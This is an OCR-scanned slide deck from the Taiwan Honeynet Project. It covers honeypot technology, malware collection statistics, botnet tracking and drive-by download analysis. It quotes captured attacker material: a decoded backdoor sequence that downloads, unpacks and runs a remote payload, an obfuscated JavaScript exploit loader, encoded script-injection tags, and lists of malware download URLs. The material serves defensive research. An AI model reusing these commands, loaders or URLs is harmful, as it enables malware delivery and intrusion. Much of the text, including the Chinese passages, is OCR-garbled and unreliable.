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The Honeynet Project

Honeypot / Honeynet technology
Taiwan Honeynet Project

Research Project and Achievements
Client Honeypot — Capture-HPC
Summary



The Honeynet Project

All volunteer organization of security professionals
dedicated to researching cyber threats by deploying
networks around the world to be hacked.

Mission Statement:

To learn the tools, tactics, and motives of the
blackhat community, and share the lessons learned.
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Goals:

Awareness: To raise awareness of the threats that exist.

Information: For those already aware, teach and inform
about the threats.

Research: To give organizations the capabilities to learn
more on their own

http://www.honeynet.org
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Honeynet Project History:
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Value of the Project:

Totally open source, sharing all of our work, research and
findings.

Everything we capture is happening in the wild (there is
no theory)

Made up of security professionals from around the world

No agenda, no employees, nor any product or service to
sell.
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Project Organization
Not-profit (501c3) organization
Board of Directors
Diverse set of skills and experiences.
Team works virtually, from around the world.

Board of Directors

— Officers

Chapter | Chapter .... Chapter Chapter
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Honeynet Research Alliance

The Alliance is a forum of organizations around the world
actively researching, sharing an deploying Honeynet
technologies.

http://www.honeynet.org/alliance/
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Alliance Members:
South Florida Honeynet Project
SAIC Wireless Honeynet
netForensics Honeynet
Azusa Pacific University
Paladion Networks Honeynet Project (India)
Internet Systematics Lab Honeynet Project (Greece)
AT&T Mexico Honeynet (Mexico)
Honeynet BR (Brazil)
Irish Honeynet (Ireland)
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2009 Annual Workshop:
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Honeypot/Honeynet Technology

Honeypot General Purpose :
Designed operation systems and services around your
networks to be probed and hacked.
All data collected is of high value and unpolluted

What is Honeypot ? (H BL)

Honeypot 5 — B3kt 2 & iv?P * %
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Honeypot :
Designed operation systems and services around your
networks to be probed and hacked.

All data collected is of high value and unpolluted
Advantages:

Reduce false negatives and false positives
Collect little data, but data of high value

Minimal resources
Disadvantages:

Limited field of view (microscope)
Risk to be compromised.
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What is a Honeynet ?
High-interaction honeypot
It is an architecture, not a product or software
Populate with live systems

Once compromised, data is collected to learn the tools, tactics,
and motives of the blackhat community.

Value of Honeynet
Research : Identify new tools and new tactics, Profiling blackhats
Early warning and prediction
Incident Response / Forensics
Self-defense

16
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Honeypot/Honeynet Technology

Case Study: What honeynet cando ?

Attack Behavior came into Honeynet .
Backdoor packets

1 208.123.

Decode backdoor commands
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elynx —source http://xxx.xxx.xxx.2:8882/foo > tmp/foo.tgz
ocd /tmp; tar —zxvf foo.tgz;

o.[ttserve,;

orm —rf foo.tgz ttserve;

Understand Hacker’s new tactics! (lynx to get malware and execute it .)

Get Hacker’s operating station! (http://xxx.xxx.xxx.2:8882) 17
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Honeymole: Setup Honeyfarm multiple sensors that redirect )
traffic to a centralized collection of honeypots.
® Honeywall CD ROM: Create a network architecture for capturing

Network attacks
® Honeystick: It includes both the Honeywall and honeypots from a
\_ single, portable device )
: : ®Honeyd: Low-interaction used for capturing attacker activity ‘
Connection . . :
 ®Honeytrap: Capture Novel attacks against network services )
: o Google Hack Honeypot : )
Web App.  ®HIHAT: transfer PHP application to Honeypot )
Malware ®Nepenthes: emulate known vulnerabilities to download malware
- . . : ®HoneyC: Low interaction Client Honeypot )
*|_Client-Side _ ®Capture-HPC: High-Interaction Client Honeypot )
Behavior ®Capture-BAT: Win32 Operation System Behavior Analysis Tool
PCAP file ® Honeysnap: Used for extracting and analyzing data
DNS ® Tracker: Used to find domains resolving, track hostname-> IP
EXE file ® Pehunter: grabs Windows executables off the network

19
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Hot Topics :
GDH2 : Global distributed honeypot Il
Malware Collection Honeypot

Client Honeypot for exploring malicious web server
Fast-flux domain tracking

Botnet detection and community tracking

20
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Taiwan Honeynet Project ogle®

*+2008# 9% ¥ 4 » Honeynet Project & %
% > 117 27 p j&Honeynet Projectfe &, » =

= & AHoneynet Project g (Honeynet Project
Ta iwa n C h a pte r) et Project |~ Windows Intermet Explorer (o] o e ]

& Welcome to Talwan Hon
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T Welcome to Taiwan Honeynet Project | fa - B - = - @EE) - =TG- TRO) - @-

Taiwan Honeynet Project

. A Chapter of Honeynet Project ...
Julia Cheng
Eil=F
Dear Ms. Yu-Chin Cheng,

This is an approval letter, Taiwan Chapter is committed and approved by il
Board Of Directors of Honeynet Project. Honeynet Project would be most e 3 - TS 0. Tubwn Homeynet Project S - SRS
excited to have you form a Taiwan honeynet chapter. i
AGREED by THE HONEYNET PROJECT

alendar AR AR AL T IS R
.

Name: Lance Spitzner P
Title: CEQ, The Honeynet Project — 2 e e = —

Date: 27 Nov. 2008

http://www.honeynet.org.tw
21
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Taiwan Honeynet Project (Cont.)

RPN FE
PRE>F& &
BTV F PR B RE
KYE $jir~ i ¢ ~ £ BLig &
SR BT R ERRP
T Hp s AR A F 2
# = Honeynet Project ¢ /8 % i i i
=gl SR L
Honey-Driven Botnet Community Detection
Malware Collection Install CD-ROM % &
Malware Collection Technology and DB Setup
Malicious Web Server Identify (Mal-Web Explorer)
Hacked finder using Google Code
GDH2 deployment

23
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Hacker’s Community :

UK | Us | deutsch | espafiol | francais)
sedo-
X [ Em | tAme BAEH waES H4FAQ | XFED | BwSedo
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allmaps.net fusiifg rishtey.com 4d oh 500 $US
real-est.com i fanboxes.com 3d 3h 300 $US
arroba.info fusiifg syfe.com 4d 5h 310 $US
cristiano.at 500 ELR gpd.com 2d 1h 240 gUS
fantasyfootballfc.com §,800 £ 9jw.com 1d 1h 222 $Us
retires.de fa s prescriptiondrugswith... thaz2m 250 $Us
bastaya.es 950 EUR gridsrus.com zh 52m 500 $Us
ehonkstore.maohi fa i galdbux.cam zh 49m 200 ELIR
alnaddy.com fusify juise.com sh1zm 110 $Us
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Malicious Web + RFI + Fast-Flux+ Phishing =
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2. /&1 Malware File Server
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Research Project and Achievements %gQ@

Large-Scale VM-based Honeynet Deployment
Malware Collection and Analysis
Honey-Driven Botnet Detection

Client —Side Attack:

Malicious Web Server Exploring
RFI Scripts Detection
Fast-Flux Domain Service Tracking
Research Alliance :
Distributed Search and Analysis on Honeynet Data

28



Large-Scale VM-based

Honeynet Deployment

Large-Scale Honeynet Deployment over six class C
networks E\J

ASCC
.............. w
VM Honeynet \‘jf/ e

— JINIU

\\ L INDHU

= manage Q )
== “°“e‘“" *
Analysis Server - :
Honeypots " Honeydient: CaptureHPC }”ﬂ—'\ NE ;
(6 Class C networks) {ﬁﬁﬁﬁ R L R
gh-Interaction and Low-Interactions Hone

STM-64  ====: 10GE

‘o\\ — STM-16 = = GE

§
Honeyd, Nepenthes, Honeytrap, Windows, Honeybow, HIHAT, Lin -

29



Large-Scale VM-based

Honeynet Deployment (Cont.)

Deploy honeynet over 6-class C including honeypot :
Malware Collection Sensors: 30
Web honeypots : 3
High-Interaction honeypots: 16
Low-Interaction honeypot : 8

Information from Honeynet

770 MB Logs (to be analyzed) a day on average
434,204 Connections (to honeynet) a day on average
2.04G Traffic Flow (to honeynet) a day on average
22 Log Files and format

Integrated into Virtual Machine platform
Bor g 4 R
FISHEE 1: 4o 0 2 B R E2¥ 0 £ *Yhoneynet

FIEEEE 20 F PLF R A e R B+ 2B £ (CPU - Storage « RAM)

30



Large-Scale VM-based
Honeynet Deployment (Cont.)
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2. Malware Collection and Analysis

Malware Collection : 10695 unique samples from
Taiwan

1T KR

1. Automatic Spreading Malwares from malware collection sensors

2. Malicious Websites from Client Honeypots (client-side attack, RFI )
3. Three-Party Upload from other chapters and security organizations

g"" o 4o > N\ T

N MMalwvware Category Statistics

w400 G

=2 =659
= Backd

= =00
A oo 5 RNE \\'}
= ropper .
£ __ Perl bot VirdB
]
= S0 PzPbot  FifH
(] 2 2 _—
EL[> Il L... FPEFRL TR W= 2

BEackdoor (5217 B COropper = 1) Chroppeaer &1y (25
Croppoeaer =1 (23 (25 SwrmbianOs Wirus (25

Trojan Horsae (= &S0 Wincows Wirus (72 &) WO RER (= S0 32
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% & A2 50 %% K;
RREARS > AR BN FRERARR
LR AR E MP;JE‘F‘ EE 4 (ex.bot) » % fdse 4 A%
BATR fi 2. K LAY 0 57%E )a fast-flaxZe %

Malware Family and Variant Statistics

m1&

& TE/Agent(2) & 7 WOREM/Ebot(Z) B E WOREM/CGobot(s) B2 WOREM /Sasser(S) B 10 EDS/Pcclientis)
11 TR/Agent2(4) B 12 TE/Spyw(4) B 12 EDS/AQgent(2) B 14 TE/DIdr(z) B 15 TR/Drop(3)

2L TRE/PSWeric5(2) = 22 WORM /IrcBot(2) W23 . WOREM /WootBot(2)

=

E 20

o 15

E 10 i

5 1!!1

g TOPPPPPT v oP
3 £ 9 1011 12 12 14 15 16 17 18 19 20 21 22 23

LwWa2MNirut(20) B 2 BDS/Hupigon(1s) B 3. WOEM /Korgo(l4) 4 .BEDS/Bot(l3) M5 TE/Crypt(10)

TE/Proxyi=) B 17 WOEM /Autorun(s 13 WOREM /Padobotiz) 19 TE/Loader(2) W 20 TR/PCK{2)
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2. Malware Collection and Analysis (Cont.)

Malware List

o BMEE e 8 EEMAELD - g e DEEEHTYE ~
I [#] Taiwan Honeynet Project Dashboard -8 - o v BEP) vy E2®E) v IEO~ @~
l Taiwan Honeynet Project BER EHh
Home Malware Collection Honeynet Flow Botnet Detection @ &M- TR BT Py
_b=cEEER: HEA 20090706 FFRE 01:56 - MR - -
Mo. Malware MD5 Size First Found Antivir Alert S.'I.Fi’nrfeasd Deég?;lon Ség:wunser Report I
1403 57ef73939e32d0bad0debace30cfo7c 85K 2009-06-30 18:47 W32/Virut.AX 1 =
1402 14a09a48ad23feDea5al80bee8ch750a 155K 2009-06-29 10:54 WORM/Rbot.147456.27 3 —unl £
1401 1d419d615dbe53238bbaas69b3829323 156K 2009-06-29 10:54 WORM/Rbot.147456.27 2 —unl EC
1400 1fga82bb2aef4daarsfo542ad4ef173b 152K 2009-06-29 10:54 WORM/Rbot.147456.27 5] ﬁ
1399 2f108da92df075e7a71bb020ea3a8611 119K 2009-06-29 10:54 W32/MNirut. AX 2 EC
1398 329483bfaf7722fb7aas53cfadb2e74c3 Q3K 2009-06-29 10:54 W32/Virut.AX 1 EC
1397 349c30ed753077ef39ab88417a3b2cze 140K 2009-06-29 10:54 TR/Crypt.MWPM.Gen 5 ﬁ
1396 34c33016095ceffd53e5bb2d45f188c5 145K 2009-06-29 10:54 DR/Delphi.Gen 11 £
1395 3f86754b29c2b74d43dc4e3958637697 Q1K 2009-06-29 10:54 W32/Virut.AX 1 EC
1394 5f516ede0a265c6d3abs4985854ec08e5 1.1M 2009-06-29 10:54 W32/Virut.AX 1 ﬁ
1393 6bdeciff73c33253833c8bfd9a227594 84K 2009-06-29 10:54 TR/Spy.Games.A 1 —unl EC =
1392 7bb70a39ad430c533a3dbos2f867586f 274K 2009-06-29 10:54 W32/Virut.AF 2 Lall EC
1391 8bfod26f2dd75280587fa2a2abcb2boa 93K 2009-06-29 10:54 WZI22/Virut.AX 4 il ﬁ
1390 92aeflbaal48628d659b600de3d0820d 1.1M 2009-06-29 10:54 W32/NVirut AT 1 Lall EC
1389 98eb0fdadf8ad03c013a8b1882ec986d 150K 2009-06-29 10:54 WORM/Rbot.147456.27 2 —unl &=
1388 9e00734e36f3b252663290b066f3372de 481K 2009-06-29 10:54 WORM/Rbot.cga 120 -atl ﬁ
1387 a15f571a5599094bb5a017fad4d47eba 34K 2009-06-29 10:54 WORM/Korgo.R 2 Lall EC
1386 a2bf71ed94580d2e957b550c%aae1490 147K 2009-06-292 10:54 WORM/Rbot.147456.27 1 &=
1385 aleb1lbb8cf0452356f638dd8619ee9bsb Q1K 2009-06-29 10:54 W32/Virut.AX 1 Lall Ec
1384 ad45b7f04ef1f3995653218bd3b807(72 Q0K  2009-06-29 10:54 W32/Virut.AB 3 -t EC
Tobals 4AAT Menneds R o B, FoaTa:e 1w Fimee Fiee Fioe N - S
& AERE | =REEd EE fa v H100% ~
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ARG MEQ ¥AG ¥=2E BE® T

@ sunbeltWsandoas Mahware Aalss Repart - Moz ..

D sourcetypen vius s Sunbeit CWSandbax Mabware A 0

=

alware Analysis:

e ernen Signatass Vrsion Resut Worstslo

Unique Sample Analysis:

Metwork Actity

[——

Antivirus Scanner Detection Behavior Analvsis
Spreading Information
Behavior Analysis (Registry, Process, File, Network Activities)

& Tialware List — WiNndows T

L BHEE |y @=EeEN - E * Malware Sample: 34c32016095ceff453a5bb2das5f188cS
= " . Malware Collection from Nepenthes
[ Taiwan Honeynet Project Dashboard o I i i - i o T T
Taiwan Honeynet Project Stee LA
Antivir Alert DR/Delphi.Gen
Ly - Honeynet Attacked Count 11
Home Malware Collection Honeynet Flow Botnet Detection :@r/ EmEERIRE R AN
Malware Source Country Malware Spreading Link Count
_bEEER: BER 20090706 B 01:56 - HUREE - - 118.161.138 ™ ftp://1:1@118.161.138 38443 /Tracker.exe 9
118.161.146 ™w ftp://1:1@118.161.146 54790/Tracker.exe 1
I 118.161.147 W ftp1//1:1@118.161.147 31980/Tracker.exe 1

‘: Malware Family List:

Malware Collection from Nepenthes (Total: 1402) AV Scanner from VirScan.org

No. Malware MD3 Size First Found Antivir Alert ST?rI;eezd Deézggcm St!a”’nunser Report S p re a d i n g I nfo rm at i o n

1403 57ef739a9e32d0bad0debace30cffs7c 85K 2001%'367'30 W32/Virut AX 1 f = @ AEAE | =EEE mE B - ®100%
2009-06-29 _
1402 14209a48ad23fe0easa180beedcb750a 155K 20909529 worM/Rbot.147456.27 3 nt o] r o ST TIEE
_06-: [=1 a0
1401 1d419d615dbe5a238bbaase0b3829a23 156K 200190,%54 29 \WORM/Rbot.147456.27 2 ol a -
z MD5S 14a09a48ad23fe0eaS5al8Obees8cb?50a
1400 1fgas26b2ae94daarefes542ad4ef173b 152K 2001907.055{29 WORM/Rbot.147456.27 6 Eol L e
. Scanner Results: 12 detected / 14 Scanner Engines
1399 2f108da02df075e7a71bb020ea3a8611 110K 20&;9010554729 W32/Virut AX 2 El
- Scanner anner Result:
1398 320483bfaf7722fb73a53cfadb2e7dcs 03K 2009-06-29 oo it ax 1 El Antivir WORM/Rbot. 147456.27
10:54 AvAsT Win32:Rbot-DCY
2009-06-29 AVG IRC/BackDoor, SdBotz. PFK
1397 349c30ed753077f392b88417a3b2c2e 140K 20920529 TR/cryptMwem.Gen 5 o & e oo oob g
2009-06-29 Clamay
1396 34c33016095ceffa53esbbaddstioscs  1ask 2092.952% pr/elphiGen 1 o F-Secure
. Maafee
2009-06-29
1305 3f86754b20c2b74d43dcaeaosesa76e7 o1k 2090 002% wazpvinutax 1 il o Norman
: Panda nothing
1394 5f516ede0a265c6d3ab6498854ecoges 1.1M 2009-05-29 \yao ning ax 1 Ll £ oS s 2R e
1 4 il Symantec nothing
E— 5 _ _ Trend Micro BKDR_RBOT ASA
@ Azan | seaes wn 3~ Si00% - Ul e ] ]
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2. Malware Collection and Analysis (Cont.)
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Malware Family Analysis :

$-47 - 7 I ehMalware Family B 55 & 47 %’gﬁb 3
Botnet Community3F 14 ~ & 4 #F4c48% - /845 %

_—
‘& Taiwan Honeynet Project Dashboard - Windows Internet EXplorel

==

e
=

P ‘mychart LANEIRTSE I e e
S B0EE |y @Esnan - g £ REES M -
'. Taiwan Honeynet Project Dashboard IR 5 IR m v HEF - E2HE - IEO) - @~ >
I“ Taiwan Honeynet Project R Bl
£ B

‘ Home Malware Collection Honeynet Flow Baotnet Detection

_F=RE#i: HEA 20090706 FERT 01:56 - HRIEETE -

-

No. Malware Family

56 WORM/Zotob 1 L] WORM/Zotob.E
WORM/WootBot.GB
WORM/WootBot.mw.4

o WORM/VanBot.E1.26

55 WORM/WootBot 2 o

-

54 WORM/VanBot

53 WORM/Spybot 1 o WORM/Spybot.31232

52 WORM/SdBot 1 o WORM/SdBot.UI
WORM/Sasser.A. 14
WORM/Sasser.B

51 WORM/Sasser 6 o MOR s e

WORM/Sasser.D
WORM/Sasser.E
WORM/Rbot.147456.27
WORM/Rbot.188416.6
WORM/Rbot.210944
WORM/Rbot.2141184
WORM/Rbot.327680.9
WORM/Rbot.553984
WORM/Rbot.Gen

WORM/Rbot

Variant Description Variant List by Antivir Alert

Malware
Samples

2

Attacker Country

L= R N L R = = N |

T T I

Malware Samples: =

Malware MD5 Attacker IP/Malicious Website

435cfff15

6d74077d3dc

2 v R100% ~

%E%Rbot Familyw; ﬁj
PREER S » BT E L
[K'WORM/Rbot.553948 Ey 44k fBot -
ol IEEEFTF 2 G B8R A E R
BRA ]y S e

T BRI FamilyE &5k
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2. Malware Collection and Analysis (Cont.) ..:.'
From Malware to Botnet '..
a N\
/ii‘j%i-’:‘i?ﬁ’* A & * Sandbox ~
Honeynet";gjcﬁ“ Forensic ~ Testbed %
Exfele g s o c & C
P R B AN PR R

= g

N\ 1. 41 * Malware Family 3% & ¢
i#@ * Behavior Analysis 74 F > = 2 Botnet
£ Antivirus ~ Family Community Tracking -
Correlation & 4 7 3 ji >
# J Malware 4 &2 g 2REFT R R
S - \?ﬁ’@iﬁﬁﬁﬁ?ﬂa
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3. Honey-Driven Botnet Detection

Bot Analysis In Taiwan
o3 Ry = KB

Bot Master, Education Bot, H.{{/Bots
2 81Bot 3K 5 X dynamic.hinet.net

Bot Master/Malware-Related File Server in Taiwan( Total: 1 )
Malware Spreading Honeypot

No. Bat IP Daomain | e Attacked Details
1 616 kbte tw 102 841 77 m
Bot Infe Education Network ( Total: 7)

: Malware Spreading Honeypot :

i = samples  Times Attacked Details
7 140 47 spe tu.edu.tw 1 4 1 i
6 140. 33 Dorr U.edu.tw 1 58 1 5'}
5 140, 30 s.n w 1 6 2 L
4 140 59 1 111 2 i
3 140, 18 che w 1 19 18 m

Total: 7 Recc rent: 1/2 pa( GoTo: 1 [#]Page PerPage: 5 [«]

‘ections (Total: 238 )

. Malware Spreading Honeypot .

. = samples  Times Attacked PR
238 114, 5 dyni tnet 1 1 1 L
237 114, 3 dyn tnet 1 723 470 Lk
236 114, 23 dymi Lnet 1 422 294 m
235 114 836 HINE it.net 1 1 1 3@

A

bk

1 m
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3. Honey-Driven Botnet Detection
Bot Analysis In Global

Taiwan Honeynet Project

Home Malware Collection Honeynet Flow Botnet Detection

%R HER 20090t

,;«’“’f\f“ - 3 §

e Suomi ’ -} 3 Y g 4 ~ '..‘)\ v sy
S o leaniu 2 LT & 4 BN Nah e Pt
iceland FCYRA s s IR AWE gl
et s 25 TR TP I Poccun gy TR L
! N g.s X 7 Russia ~ / /

4 Faliala T g rirklye - gte ey "
fic g s-‘r \ North Wiirkey & SN S Sl
1 A ’ A Atlantic A VR SO Japan
A S : Ocean 8 r}‘ - e # = , é—}«_ﬂ\raq\l Iran A_;ghafq.' n’\_
. \ ol Algerla‘!j- Libya Ty & ;‘ Pakist (PR
4 ’ BER e e i S et o iy L . Suudig g\
252D TN NSRS, Varabialiey Vg1t ]
\ THY B LT3 R TN ;-.;"RJ' gl
! la Iger 3 o [ s
5 ’(j'J,-.\_g__./Chad_J Sudan {i‘\_ r' Tl lland
- L Ly 28 o T 5
108 «Venezuela Zh AT O Nigeria SucssSiii SN E thiopla £ 4
Coloniblal';-_-"\ Gl ! oy NSRS TR 4 28
DT P / ._Kenya T
Loy 4-1DR Congo, Lo K i
Vo 3 f g f - X ~ ‘dorgsia “Papua New
: IR AR Y& \Tanzanla .
,‘{;;_ Brasil | )t - 87, 2% \Guinea
PEYS A raz) ] 00 Angola1™
Bollyla 717157 PN 2 :
\ d T e P e
¥ \ N | 2\ o - Py s
LY Al b'f. M./ Madagascar Indian 5 ,1 iu ;
o Y Bots 7ana Ocean e ol
South Chile V)= South Mg T d + Australia :
Pacific L Atlantic -0 4 w. ;
Ocean - Ocean South
Africa
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3. Honey-Driven Botnet Detection
C & C Distribution

-&(&( Domaln Dlstrlbutmn Map { 82 C&C IP in total on 20090816 )

~ Suomi’
7 Finland
Sverige

h N e 3 irada e o ey =7 b < Ay A
s LB o ' NG .\ Poccua = Y84
. L 2. By Norye . gk R - - P :
> L A T JEL A Norway e e g/ US SIS Py ’ : 25
! ta” \ o T T A3 \ 4 ‘o ' .
bei Vo 3 | United A\ 2 e
P Canada & AWen) o e King®.n g 13 Polsm g
S e . s 19201000 3 X
P HFTE o Dedtsc.-nd
2 e:','m "," / Yxpamé\
9 Francei™ LN
o O S g i N O
e U207 Y
2 North s o :
; e
Aot ‘“w,
e : @ Paklstan
\ A g
Méxiro 3
1’ : - , : u'n{w]ﬁlj{u
,? I =0 .
E i o Sudan;"\, y D3RG
% R e M
I Venezljela "&{. ; N'Q‘”“%.a)\ Emlopla 3
X i
Colombla§ tw‘-" '._,f"‘" .,,h R 0
§' , . enya TN
: o YJ DR COngo N %" Indonesia =P Ne
Y SPLL ~ Papua New
{ . \J_L’ Tanzanla Guinea
/ Angola_”\lﬂ .
Bollvial g | P ‘ Bido. | &
L PR Namlbm \ Madagascar Indian b
e /s Botswana Ocean Vi
South Chile ®) o South A Austraha
Pacific e Atlantic el > e -
Ocean " { Ocean South v A
Africa
"Argentina New

Zealand




4. Client-Side Attack

Client-Side Attack: § * = =3 & * 423" (Client
Application)¥? Malicious Server4p 7 % 3% F=(Interact) °
rz # Client Application 3% &k » & ¥ 3% i# Client
Applications 7 & & #23" ©

iz i Client/Server 7% #.2. PR3 » #0¥ & F 3%

Web Browser, FTP, Email, MSN, Multimedia Stream
T {7 2 Firewall/IPS/Proxy2_ F# i 3% » gf 2 i jp]
e o

Pass
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. Client-Side Attack (Cont.) (28

1. £ » Exploit - ¥ i£ {¥Obfuscation - \
( encoding, dynamical content with Javascript, f

function xyCUZPo (WITosH1) {var mlaFz='' jvar

WEcRibia- ' AR CD EFCHT JELMEOP QRS TUWSYE ' ;W Ec Dabu= (WEchiku) + (WEchAkbu . toLowerCase () ) +' 01234567
259+ /=' ;for (war Fprlki=0;Kpeki<WIJosHl. lengch; Fponlki+=d4) {var

PySpi=VEckibu. indax0f (FTJosN1. charic (Kpnlkit+2) ) jrar

MU YWFi=VZcRabe. index0f (WTTosN1. charaie (Kpnlki) ) jrar tl
ZACpn=UZchibu . index0f (WTTosN1. charir (Kpnkit2) ) svar

CLTCE=VZoRibu. index0f (WTTosN1. charat (Hpnki+l) ) mlaFez+=String. fromCharCode (MIJTWWEL=<2) | (
ChTCE=>4)) ;if (pySpil=6dinlaFet=Scring. fromCharCode {{{ChTCESLE) <<d) | (pySpiz=2) )} ;i f{=ACpnl
=64 imlaFez+=Strineg. fromCharCode (( (pySpiss)=<6) |ZAGpM) ; leval (mlaFz) ; }xyCUE Po ( "COogZnWiT 3kp

o
b4 gbhyhd sHROAOOs Al hla0l b Z9a e 2T T gk 5 cFRGE 119 Iy o7 ZmS yEHZh i B SSHFO S T9 MO+t SSHFO ST TS8e Gh O o

UHANLx 1 bmd 0T S SHFOSTUL r PIFy 2 3VEZTWE Doy 53 T sZ2 T dG-3 TAdHIpbm co ES S yvZ2 KBS TWH1IEC I coyen LC TIRES =
ZWEndGgt Nz SEew VWl FRnS w0 TOo dlhla 1TpW ... -

Myb 2k V0w L HIpaG oyl 3T FErLLUS B EVNDS 23 AoRKswSS W NDY =c LAZ T3W0a ToylF 0/ T3 onl CIwa3 W) c0gsdT
LtUT0s5VFMIb 1L EVT gLMLU 47 aVES T= SDVC LEIQ aT Szenk JOU Sp PyanEyc3 I HVPW0 0Zn S0 sk SR AV INF UMW TAr L1

USbHpF 0TS I hSy S0 JSEVESTs T3 MoeiNQaS40 o2 16W Ty LLFIIS WS, o
W 1T SNI LHUSE HpmtChG S=E JTTWHMONL 17 00E SV Sk Tk OF I NVNG FKSExhE SHMIT{ LM E L EMi kv U0 RRMOp Tdi Ts T1IEpRk
spaEZVKS =S TQ ZMLU0YHU § ovF 6117 Ellekk SADEyMHRTS Skvik gwlEs LPUET I0 Shdkt kIT o5 T2 k=NLE 2QUkw WEo Loy

E1Zw5J TZHMWUE INF W=MuQwi 37 FYUS3 TGk 1W Tho PO =wS TF Io0 LG c LB G 2Mw Ty =nd GR ITEhE M) BGak L Oai Wi P SH
o M LT Py UV YT 335k E YuZ PhDd Ib3ELYTe M CHQ WHVVHFR 23 B3 end PVWVLEULAM ) cul0wl WS L AmE e s E 97 ZVVurs

=3 VTdrLjladi4nLCc ZaTQ 409 EV VA&l e Fl QR0 Tc0x IT ZMNLEE 1nT iw 3305 BuPHA <25 ZFKU0F of{E
SEITFELIELT i S sy 1 H Ik ?" ) s </ s cript =

\oa“ N
__py-dow?
priveY ﬁ 2. Redirect

—

=
o

00

window.open()
window.location.href()
3. # {7 Exploit Code <meta http-equiv="refresh” content="...">
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4. Client-Side Attack (Cont.) 08580

Drive-by-download (7] ¢ ¥ ™ §*): &i¢ * &
A deb 3 0 fRaehRT o T R LA

AR E R A

Enable Active-X Component

TEE R AR
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4. Client-Side Attack (Cont.) 08580

Malicious Web Exploring :

Taiwan Honeynet Project £ * 3 #* ;% Client
Honeypotdiiv » FFR|E & x> f347T R EH#H 5 >
FLEBotnet® #rbE k& PR E o

~ - e 2 B3 > 2% F2
FE2ELREPLLE FHRRICEZEH
l-i‘j_ll fo)
[

Al



= = # 8817A(—) E4 1:17  Julia Cheng [§]

{3 mEEt uE 26 @0 CBEEt 4% A% @@

HHR(E) 4#E(E) #R(Y) #83(5) TAO) D) =REHH)
HEF) 4E(E) HE\(N) #F(S) TAT 4D RKEHH) grg ;ﬁ:é 5 % 5.]5!-.”_ E& ml ;;
E:; L ¥ D = o L xxtxt @ i
i Rk G | FIED... SH I -

L

http://xigiji3.cn/xmm/al.exe
http://xigiji3.cn/xmm/a2.exe
http://xigiji3.cn/xmm/a3.exe
http://xigiji3.cn/xmm/a4.exe
http://xigiji3.cn/xmm/a5.exe
http://xiqiji3.cn/xmm/a6.exe
http://xiqiji3.cn/xmm/a7.exe
http://xiqiji3.cn/xmm/a8.exe
http://xiqiji3.cn/xmm/a9.exe
http://xigiji3.cn/xmm/ale.exe
http://xigiji3.cn/xmm/all.exe
ttp://xigiji3.cn/xmm/al2.exe
http://xigiji3.cn/xmm/al3.exe
http://xigiji3.cn/xmm/al4.exe
http://xigiji3.cn/xmm/als.exe
http://xiqiji3.cn/xmm/al6.exe
http://xiqiji3.cn/xmm/al7.exe
http://xiqiji3.cn/xmm/als8.exe
http://xiqiji3.cn/xmm/al9.exe B
http://xigqiji3.cn/xmm/a20.exe
http://xigiji3.cn/xmm/a2l.exe
http://xigiji3.cn/xmm/a22.exe
http://xigiji3.cn/xcj/gg.exe
http://xigiji3.cn/xcjsig.exe
http://xigiji3.cn/xcj/lc.exe
http://xigiji3.cn/xcj/ie.exe
http://xiqiji3.cn/xcj/svchost.exe

-| visiting.txt &

MalUrl:

http://www.bit361.com/

http://www.bit361.com/bbs

<script src=http://%77%2E%6A%73%67%75%61%6E%67%6A%69%2E%63%6E></scripts :
<SCript src=http://%77%2E%6A%73%67%75%61%0E%67%6A%09%2E%63%06E></scripty :
[wide]http://www.bit361.com/
[script]http://%77%2e%6a%73%67%75%61%6e%67%6a%69%2e%63%6e
[frame]lhttp://w.jsguangji.cn/@3.htm
[frame]http://w.jsguangji.cn/456.htm
[script]http://w.jsguangji.cn/1.jpg
[script]http://w.jsguangji.cn/2.jpg
[script]lhttp://w.jsguangji.cn/3.jpg
[script]http://w.jsguangji.cn/4.jpg
[script]http://w.jsguangji.cn/5.]pg
[script]http://w.jsguangji.cn/6.jpg
[script]lhttp://w.jsguangji.cn/7.jpg
[script]http://w.jsguangji.cn/8.jpg
[script]http://w.jsguangji.cn/9.jpg

M R R N N N e e e N N R R R e e

[script]http://w.jsguangji.cn/18.jpg FD Ehg_]

[script]http://w.jsguangji.cn/11.3pg o

[frame]http://w.jsguangji.cn/dex.html - i

[script]http://w.jsquangji.cn/click.js Qtr=- ¥ Pus e [

[script]http://js.tongji.linezing.com/1209024/tongji.js $BHED) ([ © ADosuments and Setting?HPCIL ooal SettingsiTemporery Intormet Filss v B m=
) B Elsl=s Sl ok il e~ BEER baRiERz BEA xRTFRT BEA i

http://w.taogu.org.cn/a.exe EEFELF “Bstyla_3_commo... http/ivww horowcomforumdats/,..  Cassading Styl. 2009/84 F4F 10:.. 2009/8/5 F4F 06... 200¢

= 2003221 T 0. 2000485 FF 06:... 2000
i o5 2009:48/5 F4F 0 2008
6.0.8.8:0 LISTENTNG 3 200985 F2F 06:...  200¢
| 192.168.245.1309:2481  222.186.12.43:80 ESTABLISHED — 2000/8/5 F4F 05.. 200t
Hib 192.168.245.13@:24A3  222.216.28.125:808 ESTABLISHED o5 —— e 00
&1 192.168.245.1309:-2484 222.173.188.48:80 ESTABLISHED o ey el 0!
192.168.245.130:2486  121.198.94.241:88 ESTABLISHED P N o]
e 192.168.245.1309:2487 174.37.185.123:80 ESTABLISHED ]
o 2 192.168.245.130:2416  222.184.252.149:80 ESTABLISHED gggggﬁ 1:;': 36““ 333;
Q4 192.168.245.13@:2418  123.196.117.6:80 ESTABLISHED : y
— : 192.168.245.1309:2428  220.181.6.175:80 ESTABLISHED 2008/8{5 T4 06:...  200¢
\@|=| A [FileZilla] J [Mozilla Fir... || B [root@]Ob: ... | [ [fin 192.168.245.13@:2424  220.181.6.175:80 ESTABLISHED 2009/8/5 F4F 06 200¢
o St 192.168.245.1309:2433  202.75.219.217:80 ESTABLISHED 05 2009/3/5 T4 06:...  200¢
192.168.245.13@:2439  202.75.219.217:88 ESTABLISHED 2009/3/5 F4F 06:...  200¢
192.168.245.1309:2456  222.216.28.52:80 ESTABLISHED 2009776 F4F 12, 2009/85 F4F 06:... 200¢
192.168.245_130:2472 59 188 .63.57 ESTABLISHED 2009722 L9F 0. 2009/8/5 F4F O 2008
192.168.245.130:2488  115.28.248.1 ESTABLISHED 2009723 AP 0. 2009/8¢5 FIF 06 200¢
192.168.245_130:2491  115.28.248.1 ESTABLISHED 0097423 AR 0. 2000/8/5 FOF 06, 2000
192.168.245_13A:2492 72 .14.203.13 ESTABLISHED = 2000/8/5 FF 0 2000
192.168.245.130:-2498  203.171.230. ESTABLISHED s 3000/8/5 F4F 06 200t
